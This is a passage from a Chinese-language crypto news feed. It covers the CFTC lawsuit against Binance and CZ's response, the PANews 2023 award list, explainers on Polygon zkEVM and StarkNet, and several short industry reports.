在另一个例子中，一名币安员工写信给 Lim 和另一位同事，询问一位客户最近的 500 万美元交易与非法活动密切相关，该账户是否应该被关闭或者应该建议他创建一个新账户？ Lim 通过内部聊天建议：“可以让他知道要小心他的资金流动，特别是注意 hydra 这样的暗网。......他可以弃用当前的账户，并创建一个新账户。” “我对我们的地理围栏没有信心。” Binance 在 2019 年更新了其使用条款，包括 Binance 不能“向任何美国人提供服务”。同年，Binance 表示开始根据客户的 IP 地址来阻止客户。 “实际上，Binance 只是在其网站上添加了一个弹出窗口，当客户试图从与美国相关的 IP 地址登录时会出现该窗口，”CFTC 表示。 然而，弹出窗口并没有阻止客户登录他们的账户、进行存款或交易，而是要求他们“自我证明”他们不在美国。 CFTC 表示，Binance 的 IP 地址合规性控制（也称为“地理围栏”）也无法有效防止客户来自“受限的司法管辖区”，包括美国，这可能是因为 Binance 告诉美国客户可以通过使用 VPN 隐藏其位置来逃避控制。 Binance 于 2019 年发布了一份《VPN 初学者指南》，向客户解释了如何使用 VPN。 有一次，当 Paxos 要求 Binance 进行合规审计时，Binance 的一名洗钱报告官给 Lim 发了一条消息说，“我对我们的地理围栏没有信心。” ​ CFTC 在报告还表示，至少有 3 家总部位于美国的贸易公司正在使用 Binance，这意味着违规行为已经超出了正常的消费者账户。 CFTC 称，Binance 为大客户提供着一个“VIP”计划，包括更快的交易，以及在执法部门询问或针对他们的资金时及时通知和建议。 “Binance 知道其 VIP 的身份和地理位置，因为 Binance 在开展业务时理所当然地监控其交易量和收入的来源，”报告称。 该计划的一个“重要好处”是“及时通知有关他们账户的任何执法调查”。 CFTC 称该计划是 Lim 在 CZ 的指示下创建的。 一旦资金被冻结或解冻，Binance 的 VIP 团队将“通过短信、电话等方式联系用户，通知他/她的账户已被冻结或解冻”。“不会直接告诉用户跑路，而是直接告诉他们账号已经解冻，被 XXX 调查了。如果用户是一个大交易者，或者是一个聪明的交易者，他/她就会得到提示。” Binance 员工还使用 Signal 进行通信，该机构表示 CZ 和其他员工使用“自动删除功能”进行业务通信，“即使在 Binance 收到 CFTC 的文件请求之后，并且 Binance 据称向其员工分发了文件保存通知之后” ，自动延迟功能可能允许员工“在就有罪问题进行交流后销毁证据”。 总部位于加利福尼亚州的 BAM Trading 运营着 Binance.US。CFTC 称，BAM Trading 也由 CZ 拥有和控制，并从未在 CFTC 注册。 “当他聘请 BAM Trading 的第一任首席执行官时，CZ 将 Binance 描述为一艘海盗船，他希望 Binance.US 会成为一艘海军船，”CFTC 表示。 CFTC 补充说，Binance.US 和 Binance 的营销和品牌相似。 Binance 还依赖于“企业实体的外衣”，其方式似乎与 FTX 复杂的国际结构相似，在 FTX 倒闭后，人们惊讶 FTX 有着非常多的相关企业实体。CFTC 认为，Binance 的众多企业实体是故意隐藏平台的位置并混淆外界。 “Binance 在混淆其位置和运营公司的身份方面非常有效，甚至混淆了 Lim，”CFTC 表示。 CFTC 试图找到 Lim 的地址向他发出传票时，地点是混乱的。 Binance 保留了大约 300 个在平台上交易并“由 CZ 直接或间接拥有”的“内部账户”，此外还有由他控制的另外两个实体 Merit Peak 和 Sigma Chain 以及另外两个由 CZ管理的账户。 CFTC 表示：“Binance 并未在其使用条款或其他地方向其客户披露 Binance 在其自己的市场进行交易。......与其显然试图将其在自己市场上的自营交易活动保密的做法一致，Binance 拒绝回应 CFTC 发出的调查传票，以寻求有关其自营交易活动的信息，包括交易数据和员工之间的通信。” 在周一晚些时候发表的一份声明中，CZ 说：“Binance 在任何情况下都不会以盈利为目的或‘操纵’市场。Binance 在许多情况下‘交易’，因为我们的收入来自加密货币。我们确实需要不时转换它们以支付其他的费用。我们有附属机构为流动性较低的货币对提供流动性。这些附属机构受到特别监控，不会有大额利润。” 关于他的个人活动，他补充说：“就我个人而言，我在 Binance 有两个账户：一个用于币安卡，一个用于我个人的加密资产。我将我自己的加密货币也存储在 Binance 上。我还需要不时转换加密货币以支付我的个人开支。” CZ 被列为被告，并在整个诉讼报告中被反复提及。 CFTC 表示，CZ 直接或间接拥有 Binance 的所有企业实体，并且“只对他自己负责”，因为 Binance 没有董事会。 CFTC 表示，在 120 个实体中，包括 Binance Holding、Binance IE 和 Binance Services 在内的一些实体已经混合了资金和共享基础设施。除了控制 Binance 网络外，CZ 还“直接批准产品”。 随着 Binance 的发展，CZ 聘请了一个高级管理团队，但他继续参与并控制“企业的所有关键决策”，包括提供哪些产品以及如何实施和执行 AML 和 KYC。 “CZ 也负责评估与 Binance 业务活动相关的法律和监管风险，包括与 Binance.US 相关的风险，并直接参与与合规顾问和律师就 Binance 业务涉及的法律和监管问题进行讨论活动，”CFTC 称。 CZ、Lim 和 Binance 管理层的其他成员会定期收到更新，其中包括有关 Binance.US 客户的信息，“以及 Binance 为占领美国市场所做的努力的有效性”。 CFTC 将在 Binance 上交易的几种加密资产命名为商品，包括 LTC、ETH、USDT 和 BUSD。 一个多月前，在 Paxos 收到关于其与 Binance 联合发行的 BUSD 进行调查的通知后，BUSD 受到了审查。 在 CFTC 的指控中也提到了 Paxos。CFTC 表示，Binance 试图向包括 Paxos 在内的业务合作伙伴隐瞒 BUSD 合规计划的低效程度。 2020 年，为了满足 Paxos 的要求，Binance 对 BUSD 进行了合规审计。 “但根据 Lim 的说法，Binance 故意聘请了一名合规审计员，该审计员‘只对地理进行评估的个人审计’，以‘为我们争取更多时间’，”CFTC 在诉讼报告中写道。 关于是证券还是商品，LTC 一直不太受关注，但 CFTC 似乎得出结论认为它是商品。 尤其是 ETH，其他监管机构对此持不同意见。SEC 主席 Gary Gensler 和纽约总检察长 Letitia James 都暗示 ETH 是一种证券。James 在本月早些时候针对加密货币交易平台 KuCoin 的诉讼中表示，ETH 是一种证券。然而，CFTC 主席 Rostin Behnam 却认为它是一种商品。 风险提示： 根据央行等部门发布的《关于进一步防范和处置虚拟货币交易炒作风险的通知》，本文内容仅用于信息分享，不对任何经营与投资行为进行推广与背书，请读者严格遵守所在地区法律法规，不参与任何非法金融行为。  ( 6 min )
    蚂蚁集团：于隽曾是外派至A&T Capital的工作人员，目前已办结离职手续
    PANews 3月28日消息，据澎湃新闻报道，针对A&T Capital原负责人于某（即于隽）因涉嫌性侵于3月9日被杭州公安立案调查，有网友称于某为蚂蚁集团高管，蚂蚁方面作出回应。蚂蚁有关人士表示，于某曾是蚂蚁外派至海外基金（即A&T Capital）的工作人员，今年3月6日向公司提出离职，目前已办结离职手续。于某在办理离职交接手续期间，当事女生家属于3月17日到公司提出与于某沟通的诉求。公司要求于某全力配合警方调查。目前警方也已经介入处理，一切信息以警方披露为准。公司对于违法违规及不道德行为一贯绝不姑息。 此前昨日消息，A&T Capital表示，于隽正接受有关单位调查，公司内部已成立独立调查组。  ( 4 min )
    12项权威年度奖项，77家入榜，PANews PARTY AWARD 2023年度榜单正式揭晓
    伴随着各国央行从开闸放水到加息潮，全球站上动荡与稳定、衰退与复苏的历史演变十字路口。市场流动性的大幅收紧让黑天鹅事件密集出现，并触发市场信心危机，加密领域亦不能幸免。但面对市场格局的大规模洗牌，仍有很多Builders（建设者）在多重危机的叠加嵌套中致力Web3产业的创新和建设。 正值草长莺飞的好时节，PANews以“Keep Building”为主题举办了第三届“PARTY AWARD 2023”，旨在发现并激励Web3领域中持续建设的真正Builder。PARTY意为PANews' Restropect of The Year（PANews年度致敬），活动已连续举办三届，吸引了全球Web3创业者和优质项目的踊跃参与。在经过长达近2个月的数据初选、公开征集、线上投票及专业评审团评议后，最终有67个项目/企业和10位个人脱颖而出（注：上榜者按A-Z排序），获得“PARTY AWARD 2023”12项权威年度奖项。 从最初的基础设施和到各创新用例不断涌现，Web3告别了跑马圈地的开荒时代，迈向了“早期采用者”的跨越时期，而这背后离不开用户与流量的建设者们。PANews根据链上地址和交易总数、智能合约部署数、活跃开发者数、技术升级迭代等方面最终评选出2个年度杰出贡献奖：Ethereum和Optimism。 Web3.0实现了对Web2.0应用的重构，不仅真正意义上实现了互联网倡导的开放、平等和创新，还催生全新的商业模式并创造出大量的自下而上的创新应用。“PARTY AWARD 2023”年度应用榜单包括年度最具创新应用、年度最佳创新DeFi应用、年度最佳DeFi应用、年度最佳NFT项目和年度最佳区块链游戏，根据资金和活跃用户规模、治理代币市值和持有数、流动性、地板价表现等方面，并结合人气投票，最终评选出30个年度应用。 年度最具创新应用分别为Blur、DeBox、OpenEx、SoIcial和Trantor。 年度最佳创新DeFi应用分别为IPOR Protocol、Morpho、Synapse、Teahouse Finance和Velodrome。 年度最佳DeFi应用分别为Aave、GMX、Lido、Stargate和Uniswap。 年度最佳NFT项目分别为Azuki、Bored Ape Yacht Club、Cheers UP、Goblintown、Highstreet、Qzuki、STEPN、Theirsverse、The Sandbox和TwitterScan。 年度最佳区块链游戏则为Alien Worlds、Crazy Defense Heroes、Kingdomverse、MOBOX:NFT Farmer和StarryNift。 “PARTY AWARD 2023”年度交易所榜单包括年度最佳中心化交易所和最佳NFT交易所。PANews根据交易所的比特币余额和年度余额、钱包充提地址总数、官方网站访问流量、安全事件频次和损失金额，再结合人气投票，最终评选出10家年度交易所。 年度最佳中心化交易所分别为Binance、Bitfinex、Bitget、BitMart、Bybit、Coinbase、Gate.io、Huobi、KuCoin和OKX。 年度最佳NFT交易所分别为Binance NFT、Blur、Element、OpenSea和Rarible。 随着新型技术的应用，治理参与手段逐渐多样化，DAO作为一种公开透明化的治理手段已蓬勃发展，数以千计的DAO管理和分配着各个项目的大量资产。PANews根据以财库价值和社区参与度为基础，并结合人气投票，最终评选出了5个年度最佳DAO：Aavegotchi DAO、ApeCoin DAO、BuidlerDAO、ConstitutionDAO和SeeDAO。 从曲折蜿蜒的“泥泞小路”到宽阔平坦的“柏油公路”，Web3基础设施正变得更加鲁棒，并在不断的迭代升级中为生态创新和繁荣奠定了坚实的基础。PANews根据底层性能、生态应用数量、建立程度等方面，并结合人气投票，最终评选出了5个年度最佳区块链基础设施：Aptos、BNB Chain、Chainbase、Cosmos和Polygon。 投资机构既是创业者的伯乐，更是推动技术创新和产业发展的重要动力。PANews根据投资机构全年投资项目数量、被投企业市值和市场影响力等方面，并结合人气投票，最终评选出10家年度最佳Web3投资机构：Animoca Brands、a16z crypto、Binance Labs、Coinbase Ventures、Dragonfly Captial、Electric Capital、Newman Capital、NGC Ventures、Paradigm和Sequoia Captial。 作为信息的表达者和传播者，意见领袖（KOL）在行业信息流动和普及中发挥着重要作用。PANews根据行业活跃度和影响力，并结合人气投票，与专业评委共同评选出了10位年度最佳Web3影响力个人：Bitcoin Archive、Bitwu.eth、Brett Malinowski、BTCdayu、Dahuzi.eth、丰密 Kui、何币、鉴叔、Phyrex和0xAA。 恭喜以上所有入围的Web3项目和企业们。尽管我们经历了加密历史长河里的短暂低谷，但技术的萌芽和创新总能带来持久的发展信心和动力，带领我们不断穿越周期。在Web3仍处在大规模应用爆发的前夕，PANews希望借助“PARTY AWARD 2023”榜单来激励更多建设者们披荆斩棘，勇敢前行。  ( 5 min )
    Polygon zkEVM解读：“六边形战士”如何参与扩容终局游戏？
    撰文：Louround 编译：深潮 TechFlow 2022 年 7 月，PolygonLabs、zkSync 和 Scroll 开始了争夺最佳 zkEVM 的竞赛，Polygon zkEVM 主网将于 3 月 27 日启动，作者与 ChaosDAO 一起编写了关于 Polygon 的最全面的指南，这将成为下一个牛市最大的叙事。 以太坊的可扩展性问题导致了替代 L1 链的兴起，这些链为了可扩展性而牺牲了去中心化和安全性。 这是因为区块链三难问题（即去中心化、安全性和可扩展性）概念的普及所带来的权衡。 该概念认为，一个区块链无法同时最大化可扩展性、安全性和去中心化。 为了解决这个三难问题，以太坊生态系统内外的开发者们建立了各种可扩展性解决方案，从 L2 解决方案（如侧链或状态通道）到新的 L1 架构（如同质或异质执行分片）。 然而，所有这些解决方案都有其缺点。 Rollup 扩展技术旨在克服的缺点是，在独立的链外执行层上实现极高的可扩展性，同时继承来自第 1 层的安全性保障作为结算和数据可用性层。 Rollups 在链外处理交易，将交易打包成大量的批次（rolled up）。 在 L2 上处理完交易后，仅会将批次产生的状态更改或在 zk-rollup 中，批次的有效性证明发布到以太坊 L1 上（并进行验证）。 Rollup 有两种类型： zk-rollup 采用「不信任，靠验证」的方法，依靠数学上可验证的证明，而不是欺诈证明机制。 此外，将交易挂起批处理，然后在链外提交聚合、压缩后的数据到 L1 的一般机制也类似。 预见到这一技术的潜力，Polygon 投入了 10 亿美元开发这种复杂技术，并首先以 4 亿美元收购 Mir 协议（现在是 Polygon Zero），以 2.5 亿美元收购 Hermez 协议（现在是 Polygon Hermez）。 由于拥有这样的内部能力，他们决定打造 Polygon zkEVM。 对于许多 zk-rollup 来说，终极目标是成为以太坊虚拟机（EVM）的等价物。达到 EVM 等价意味着实现了完整的字节码级兼容性。 这与仅仅具有兼容性不同，后者常常需要开发人员修改甚至重新实现某些更低层次的代码。 当一个开发环境具有 EVM 等价性时，这对开发者来说是一个巨大的优势，因为这意味着基本上任何来自以太坊的智能合约或开发工具都可以在等价的 EVM 网络上使用。 它还简化了基于 ETH 的去中心化应用程序（dApps）的迁移，并使其更容易与 L1 上的其他 EVM dApps 或其他 zkEVMs 进行互操作。 此外，EVM 等价（Solidity 和对以太坊开发工具的支持）使 rollups 能够利用 Web3 中最大的开发和流动性池。 Vitalik Buterin 指出，共有 4 种不同类型的 zkEVM rollup，从类型 1 受益于完全的 ETH 等价性但降低了性能，到类型 4 则相反。 zkEVM 正在建立在类型 2 等价性上，并力争成为类型 1。 除了采用 Bytecode-level 的 EVM 兼容性方法外，Polygon zkEVM 在其竞争对手中脱颖而出，因为它实现了一种称为 Proof Of Efficiency（POE）的新型共识机制，这种机制可以提高去中心化程度并增加网络安全性。 此外，Polygon 的 zkEVM 使用了最先进的 zk 证明系统之一。 Plonky2 是一种递归的 zk 证明系统，将 STARK 和 SNARK 证明的优点结合起来，很可能是以太坊上最便宜、最高效的证明系统。 在达到重要的里程碑后，Polygon 团队和开发者决定在 3 月 27 日进行全面推出（最初），这比他们的所有竞争对手都要早。 （唯一缺失的指标是每秒交易数（TPS），即使我们可以假定最低 2k TPS） 该链吸引了超过 10 亿美元的锁定价值（TVL），以及 83 亿美元的总价值跨链转移至该链（其中 60% 为 $MATIC）。 这个区别很重要，因为 DefiLlama 的 TVL 只涉及锁定在协议中的价值，而不是存放在钱包中的资产（这一点很重要要考虑到）。 财务指标 在过去的一年中，Polygon 是收入最高的链，收入超过 2600 万美元，而 Arbitrum 和 Optimism 分别为 1900 万美元和 1800 万美元。 然而，需要考虑到净收益（成本 - 收入），平均每年约为负 3 亿美元，主要是由于代币激励措施，根据 Token Terminal 的数据。 这仍然不到 Polygon 拥有的 24 亿美元资金库的 15%。 代币经济学 Polygon 的代币是 $MATIC，供应量为 100 亿枚，当前价格为 1.12 美元（比历史最高价下跌 60%）。该代币用于治理、在 POS 链上支付交易费用（zkEVM 上的交易费用将以 $ETH 结算），以及验证和保障该链的质押。 供应量已在不同的利益相关者之间分配，现在几乎完全在流通（90%），但抵押奖励还没有被解锁。 有趣的是，Binance launchpad 的投资者目前已经获得了 458 倍的投资回报，而历史最高价时曾达到了 1100 倍。 生态系统 尽管没有最高的 TVL，Polygon 拥有一个拥有 7000 多个活跃 dApp 的最大生态系统之一。 与其竞争对手相比，该团队专注于开发其环境，例如 NFT 和游戏 Fi，而不是仅仅专注于 DeFi。 因此，Polygon 是过去几年中吸引了最多 Web2 公司进入其生态系统的链（主要是 GameFi 和 NFT），这对于该行业来说是一个至关重要的步骤，使得 Polygon 成为 Web2 公司的首选去处。 沟通 加密行业仍然不成熟和不理性，这就是为什么拥有最好的技术并不是区块链（例如前 15 名市值）最重要的成功因素之一。 炒作、营销和品牌知名度与链所拥有的技术同样重要。 关于品牌知名度，Polygon 在其 Twitter 账户上拥有 180 万关注者，成为最受关注的链，然而，zkEVM 仅有 3.2 的关注者，明显低于拥有 64 万关注者的 zkSync、58.8 万关注者的 Arbitrum 或 26.1 万关注者的 Scroll。 虽然关注者并不真正代表什么，ETH Daily 对前 9 个 L2 进行了一项调查，但在当时 zkEVM 并未出现在其中。 该研究还显示，新用户正在寻找通过空投获得金融机会，而 zkEVM 不应该发布空投。 这对该链来说是一个问题，因为空投通过带来 TVL、交易量、费用等参与链的增长，作为结果吸引了建设者、项目和更多的用户，形成了一种无限循环。 资金 2022 年，Polygon 以 4.5 亿美元的规模进行了区块链历史上最大的融资，将其当前资金库增加到 24 亿美元。 这样的资金使 Polygon 有能力尽可能多地开发、雇用和吸引人才，同时不必担心熊市的影响。 团队 为了运营这样一个项目，Polygon 可以依靠 400 名员工，这些员工在 2017 年由 4 位联合创始人创建后加入了这个项目。 在 zkEVM 团队方面，我们有： 该团队已经做好了充分准备，以提供功能齐全、高效的扩展解决方案。 风险 由于其复杂性和在区块链行业内的最近实施，存在 zk 风险。 零知识证明带来的隐私问题可能带来监管风险。授予隐私的项目曾受到监管机构（Monero、Tornado cash 等）的针对。 竞争越来越激烈，正在开发尖端技术（zkSync、Scroll、Starknet、Taiko 等）。 在缺乏空投潜力和充满活力的 DeFi 生态系统的情况下吸引用户 / 开发者 / 项目将需要比竞争对手更多的努力。 Polygon 推出 zkEVM 是一个非常重要的行业事件，zk rollup 技术将可以使区块链网络更加高效和可扩展，并且对于采用 EVM 的 dApp 来说，具有无缝集成的优势。 虽然存在风险和竞争，但 Polygon 已经证明了自己在生态系统发展、资金筹集和团队建设方面的实力和能力。 在未来的一段时间里，该项目将继续走向成功并塑造整个行业的发展方向。  ( 7 min )
    PA图说 | 一图看懂美CFTC对币安的指控和CZ的回应
    3月27日，币安及其CEO赵长鹏被曝出因违反监管规定被美国商品期货交易委员会（CFTC）在芝加哥联邦法院提起诉讼，随后赵长鹏在官方网站对CFTC的民事诉讼作出回应，并呼吁社区“忽略FUD消息、假新闻、恶意攻击等”。  ( 4 min )
    剖析AI对Web3短期、当下及长期的影响
    撰文：starzq 看到不少关于 AI 和 Web3 的小作文，也谈谈我的看法： 详细展开? 1️⃣短时间内，AI 的确「抢」了 Web3 的风头 一方面以 ChatGPT 为首的 GAI 表现出的能力不断让人惊呼，另一方面 Web3 近期的确缺少大进展，连新叙事都匮乏。 人的注意力跟随热点转移，但更多人焦虑的是资本和人才转移 @Will42W 老师在《文理两开花》的一句话很有 insight，大意为: 「大多数人的目的只是赚钱，只有存量蛋糕可分的时候，会说我们需要有更好的生产关系来分配利益；但如果通过 AI 提高生产力获得了增量蛋糕，也就没有那么关注生产关系的变革了」 那么，AI 和 Web3 真的是对立的吗？ AI 和 Web3 并不对立，而是提供不同的维度的价值：AI 带来效率价值，Web3 带来用户和生态价值。 我列了一个表格来更清晰的说明其对各方的影响，下面详细展开? a. 对用户来说 AI 提升了其工作和娱乐的体验和效率，而 Web3 带来的所有权，帮助个人更好的进行资产确权，捕获其产生的数据价值，包括与品牌和平台互动的数据，与社区共创的数据，从而把在 Web2 被平台拿走的价值返还回来 同时更公平的收益机制，更能激励用户参与和创造，形成 UGC 正向循环。 另外，我之前的?也反复提到过，GenZ 一代对数字商品的需求越来越高，渴望共同创造（co-create）和参与（participate），而 NFT 可以更好满足这类需求。 b. 对品牌 / 商家来说 AI 降低了其供给侧的生产成本，但还是需要解决获客和活跃度问题。 Web3 刚好精于此道，通过 token 的引入，一方面返还用户价值，另一方面激励用户参与（participate-to-earn），提升用户活跃度 另外通过 Open Loyalty, 品牌还可以捕获到生态价值。 c. 对（中心化）平台来说 以搜索或者电商为例，AI 肯定能带来更好的用户体验 而 Web3 的去中心化与中心化平台天然冲突，平台也需要积极探索如何打造 Web2.5 与去中心化共存，就像 CEX 也投资 DEX 一样。 d. 对投资机构来说 AI 带来的生产力提升，也意味着更确定性的投资回报，投资人纷纷布局不是没有道理的 但 Web3 也有其优势。「Web3 有更高效率的资本投资和退出通道，尤其是在当下的全球政治经济形势下」 @26x14eth 的这个点很有启发。SVB 和瑞信的破产，让大量 old money 开始进入 crypto。 Sam Altman 2 年前就预测了 AI 将对社会带来的改变: AI 会带来整个人类财富增加，但同时资本主义以不平等作为进步的代价，一个不能为每个人提供足够平等机会以取得进步的社会很难持久。 Sam 在文章《万物摩尔定律》里提出的方案是 不得不佩服 Sam 的前瞻性，但这里面也有 2 个问题 1. 并没有激励原创内容 2. 极度依赖国家机器和政府。地缘政治和银行的破产，让大众重新审视去中心化的重要性 Web3 的资产链上确权 + 智能合约，可以更好解决这 2 个问题 1. 通过对用户的数据确权，捕获其产生的数据价值，形成更好的激励机制，鼓励原创 2. 通过智能合约，形成更可靠的数字契约，包括利益分配、伦理约束等，减轻对国家机器和政府的依赖。 这一块 @myanTokenGeek 老师的思考很深入，推荐阅读。 总结 短时间内，AI「抢」了 Web3 的风头 但 2 者并没有本质冲突，而是提供不同维度的价值：AI 带来效率价值，Web3 带来用户和生态价值，对用户、商家、平台、资本影响各不相同 长期来看，AI 负责效率的同时，需要 Web3 负责公平，才能共同创造一个经济高速增长且给每个人提供足够平等机会的世界 附上其他几位老师对 AI vs Web3 的看法： 附上 Sam Altman 2 年前写下的这篇具有前瞻性的文章《万物摩尔定律》，同样适合当下再读一次，那些预测的变化已经在发生，你做好准备了吗？  ( 5 min )
    知情人士：Genesis高管曾在特权下提前购买了FTX支持的加密货币
    PANews 3月28日消息，据英国《金融时报》报道，知情人士透露，加密贷款机构Genesis高管有特权提前获得FTX支持的加密货币，即在FTT（2019年推出的FTX原生代币）和Serum（在FTX和 Alameda的支持下于2020年推出）向公众发行之前，FTX创始人Sam Bankman-Fried（SBF）以折扣价向Genesis高管门出售。 据知情人士透露，FTT和Serum代币以及Solana也被Genesis接受为Alameda抵押的抵押品，以担保其借款。 Genesis于1月倒闭，长期以来一直是Alameda Research的主要资金来源。根据美国破产法庭的记录，Genesis是FTX和Alameda最大的债权人，欠债2.26亿美元。  ( 4 min )
    香港新政送春风，大湾区Web3专家共议大潮如何起东方
    自去年10月31日香港特区政府发布《有关香港虚拟资产发展的政策宣言》开始，其陆续公布的系列加密新政，不仅表明了香港探索金融创新的担当，也宣示着将香港发展成全球虚拟资产中心与Web3中心的决心。 作为国际金融贸易中心，香港能够依托国内的独特优势，并拥有粤港澳大湾区这一未来发展的“大舞台”，在虚拟资产、金融科技等创新发展上，将会担起大湾区引进来和走出去的“超级联系人”的角色。 大潮起香江，从东方吹起的加密之风，已为大湾区乃至全球的Web3市场都注入了活力。3月24日下午，“潮起东方·大湾区WEB3峰会”在深圳召开，本次会议聚焦Web3行业的交流、发展和建设，由知名Web3投资机构WestLabs联合PANews主办，W3C DAO承办，并获得深国际前海图钉Camp和eCloudrover提供的战略支持。参会中大部分为Web3行业从业人员，包括Web3项目方、知名风投机构、媒体等。 大会的首位分享者Nano Labs创始人Jack Kong在区块链行业有着十年以上的从业经验，他还将从今年4月1日起委任香港数码港管理有限公司新董事，该公司旗下的CyberPort是一个创新的数码社区，也是香港最大的Web3社群之一，致力于促进金融科技、AI和区块链等新兴科技的发展。对香港新政有深入了解的Jack Kong，通过视频连线的方式发表了题为《香港新政解读及对Web3.0行业影响》的演讲，他表示预计未来市场的创新方向将升级为原生应用创新模式，香港有机会抓住这一波行业红利，不仅可以成为全球Web3金融中心，也有机会成为全球科技中心。 随着 Web3.0 概念的兴起，各种基于 IT 去中心化技术或分布式的技术方案也开始蓬勃发展。伊克罗德的解决方案架构师郭昊天以《亚马逊云科技助力探索下一代科技创新核心概念Web3.0》为主题，现场分享了作为一家云原生的咨询服务公司和亚马逊云科技的核心级服务合作伙伴，伊克罗德能够为多个领域的企业提供哪些服务，并对其业务流程进行了简要介绍。他还以专业的 NFT 浏览器和数据基础设施NFTScan为例，对该项目如何运用亚马逊云进行深入的技术分析。 会上最后一位分享者是IBCL社区发起人、专注Cosmos跨链生态的红军大叔，演讲主题为《Cosmos跨链生态纵览》。红军大叔是Cosmos的坚定布道者，他Cosmos的愿景与技术属性及特点讲起，对整个生态系统的基础设施、更新迭代及发展前景进行了简要说明与分析。“目前趋势是想把ZK扩展到无所不能，但我觉得反而IBC才是everywhere，IBC可以帮助不同的区块链生态系统实现跨链通信和资产转移。” “香港是 Web3.0 的新机遇吗？”是圆桌讨论环节的第一个主题，本轮由G-Rocket 的合伙人、Web3Hub 的负责人Alma Li 主持，来自Relation Labs的CMO Santry 、Trust Wallet的Scarlett 、NWG的CMO Axe、Xbank的Jason 和Everland DAO的Zane参与讨论。大家对这一问题都先后给予了肯定的回答，表示看好香港能够成为虚拟资产之都，并以政策监管、地缘优势、行业方向、人才管理等角度为切入点，论述这场机遇中的难点、风险及挑战。 根据Xangle的链游报告，亚洲拥有当今世界上最大的游戏市场，而以日韩为主导的区块链游戏行业的发展已愈加强劲。第二轮圆桌以“GameFi+2023，寻找下一个 3A？”为主题，由NEbank Damon主持，Meet48的Co-founder 毛毛 、NAGA的Co-founder Austin Lai、IGMAES的PMO Ben 和Big Time的大诚参与讨论。针对链游生命周期短，项目泡沫多等问题，众人纷纷表示游戏的落脚点终归还是可玩性与趣味性，结合Web3技术强组合性的特点，底层基础设施的建设与完善是高品质链游落地的前提。 最后一轮圆桌会议将焦点放在了行业的宏观环境与垂直领域布局，由PANews的联合创始人毕彤彤主持，ArkStream Capital的Partner 墨客、Consens Lab的VP Jasper、 AC Capital Founding的Partner Ethan和Westlabs的Partner Mark参与，共同探讨“下一个 Web3 投资赛道如何布局？”总体来看，各投资机构认为2023年会出现触及熊市底部后的反弹，市场能否在明年迎回牛市仍然是未知数。然而不论牛熊，行业总是能冒出一些优质的新项目，各方也分享了各自看好的如基础层及应用、DeFi、社交、游戏等细分赛道。 关于WestLabs WestLabs是一家专注于Web3底层技术和基础设施建设孵化和投资的机构。旗下拥有包括 West Labs Engineering、West Labs Super Engineering、West DAO等三只专注于一二级的投资基金，基金规模为5000万美金。目前已投资100余个Web3项目。 关于PANews PANews成立于2018年3月，是区块链和Web3.0领域领先的智库型信息平台，为行业用户提供具有国际视野的前沿资讯与报告。PANews优质多元的内容以图文、音频、视频等形式在全网多渠道覆盖，包含推特、微博、抖音、视频号等主流平台，旨在成为用户的Web3信息官。PANews同时还是腾讯新闻的内容合作伙伴，内容被福布斯、财新等媒体引用，获得腾讯新闻、今日头条、澎湃新闻等颁发的相关奖项。PANews的两位联合创始人均为福布斯亚洲30 under 30获奖者。  ( 4 min )
    一文全解StarkNet 技术原理及生态现状
    原文：《L2 Summer 将至？一文掌握 StarkNet 技术原理及生态》 作者：Biteye 核心贡献者Hankester 编辑：Biteye 核心贡献者 Crush Arbitrum 的 DeFi 生态已初具规模，其发放空投的决定更是让自身坐稳 Layer2 生态头把交椅。自发布空投规则到开启认领，Arbitrum One 的 TVL 已经占据整个 layer2 生态的 66.61%，活跃用户在两周内暴涨四十万。 曾经的 layer2 四大天王：Optimism、Arbitrum、zkSync、StarkNet，已仅剩后两者没有宣布空投。Optimism 和 Arbitrum 先后实践了生态积累 + 空投抢用户的打法，结果已经在 Layer2 生态的市场份额中得到体现。 随着 Layer2 生态愈发成熟，加之 EIP-4844 将大幅降低 Rollup 费用，抢占用户将成为 Layer2 制胜的核心因素。在现行的市场格局下，留给 zkSync 和 StarkNet 抢占市场时间已经不多，项目间的竞争和用户的 fomo 带来的财富效应已经让 Layer2 Summer 呼之欲出。 （注：EIP-4844 是对以太坊网络的一次改进提案，有望将 Rollup 的开销降低 10-100 倍。它将向以太坊引入一种新的交易类型，这种交易类型可以携带短暂存在的被称为 blob 的数据。之前以 Calldata 形式存储的数据可用性可以改为由 blob 进行存储，而 blob 的存储成本比 calldata 便宜得多。在用户体验层面，用户最直观的感知就是 L2 费用大幅降低，这将为 L2 生态的爆发提供重要基础。） 作为 Layer2 四大天王中估值最高（母公司 StarWare 估值 80 亿美金）的项目，StarkNet 生态项目的含金量不用多说，从近期的交易活跃度就可见一斑。 StarkNet 已经于 2022 年 11 月 16 日宣布在以太坊主网上部署了其原生代币$STRK，用于投票、质押和支付费用，代币分配仍待决定。 下文将介绍 StarkNet 及其生态内重点项目。如果对生态项目比较感兴趣的小伙伴可以直接阅读第三部分。 StarkNet 的母公司 StarkWare 成立于 2018 年, 总部位于以色列，两个主要产品为基于以太坊主网构建的扩容引擎 StarkEx 和 通用型 ZK-Rollup StarkNet。 StarWare 技术团队已经在 ZKP 领域拥有十多年的研究与工程经验，于 2018 年率先提出采用 SATRK 有效性证明解决以太坊可扩展性难题，实现解锁大规模可扩展性。 StarkWare 在 7 轮融资中累计已获得 2.73 亿美元融资，2018 年 1 月完成 600 万美元种子轮融资，同年 7 月获得以太坊基金会的 1200 万美元赠款； 2021 年 3 月份完成 Paradigm 领投的 7500 万 B 轮融资，同年 11 月份完成 5000 万美元 C 轮融资，投资方包括 Paradigm、Alameda Research、Three Arrows Capital 等； 2022 年 5 月 25 日，StarkWare 以 80 亿美元估值完成 1 亿美元 D 轮融资，Greenoaks Capital、Coatue、Tiger Global 和其他参与者领投。 与其他基于有效性证明的 zk-rollup 方案类似，StarkNet 与 StarkEx 也采用「链下计算-生成 zk 证明-链上验证」的形式来实现对以太坊的扩容。 但其通过独创的 zk-STARK 零知识证明算法、zk 友好的编程语言 Cairo、SHARP 共享验证器、多样化数据可用性来实现高交易处理速度、低成本等特性。 2.2.1 基于 STARK 的有效性证明 zk-STARK 由 StarkWare 的创始人 Eli Ben Sasson 在 2018 年的一篇论文中提出，其是 Zero-Knowledge Scalable Transparent Argument of Knowledge 的缩写，具有可拓展、透明等优良特性。 STARK 的优点也伴随着一系列权衡： STARK 的证明尺寸比 SNARK 大，因此当 Layer2 交易量较低难以分摊证明成本时，就会出现较大的确认延迟，目前 StarkNet 的交易最终确认时间在 8 小时左右，原因就在于 StarkNet 目前交易量较低，需要收集足够的交易笔数才能均摊一次有效性证明的成本； 同时 zk-STARK 需要配合 Cairo 